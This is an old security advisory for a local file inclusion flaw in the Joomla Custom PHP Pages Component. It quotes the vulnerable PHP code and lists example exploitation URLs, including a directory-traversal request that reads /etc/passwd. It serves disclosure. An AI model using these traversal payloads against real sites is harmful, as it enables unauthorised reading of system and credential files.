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Joomla Custom PHP Pages Component LFI Vulnerability ===================================================== - Discovered by : Chip D3 Bi0s - Email : chipdebios@gmail.com - Date : 2010-05-11 - Where : From Remote ---------------------------------- Affected software description Application : Joomla Custom PHP Pages Component Developer : Gabe Email : gabe@fijiwebdesign.com Type : Non-Commercial License : GPL Date Added : 6 June 2008 Download : http://joomla-php.googlecode.com/files/com_php0.1alpha1-J15.tar.gz I. BACKGROUND Joomla PHP Pages Component allows you to create simple PHP pages and link them to the Joomla Menu. This allows you to easily create a custom page without having to create a whole component. It is similar to the PHP Module for Joomla, except that it is a full Component. II. DESCRIPTION Some LFI vulnerabilities exist in Joomla Custom PHP Pages Component. III. ANALYSIS The bug is in the following files, specifying the lines /components/com_php/php.php [35] $filename = $Params->get('file', ''); [36] $path = JPATH_ROOT.'/components/com_php/files/'.$filename; ... [47] // evaluate the PHP [48] echo '<div class="php_page">'; [49] if (is_file($path)) { [50] include($path); [51] } else { [52] echo '<span class="note">Please choose a File</span>'; Explaining the above lines: According to the code that files are opened, but the code is not shows no filtration, so we can move into directories. According to several extensions can be observed as .html, .jpg, .js, which is not true of all .php IV. EXPLOITATION http://127.0.0.1/index.php?option=com_php&file=../images/phplogo.jpg http://127.0.0.1/index.php?option=com_php&file=../js/ie_pngfix.js http://127.0.0.1/index.php?option=com_php&file=../../../../../../../../../../etc/passwd +++++++++++++++++++++++++++++++++++++++ [!] Produced in South America +++++++++++++++++++++++++++++++++++++++ |
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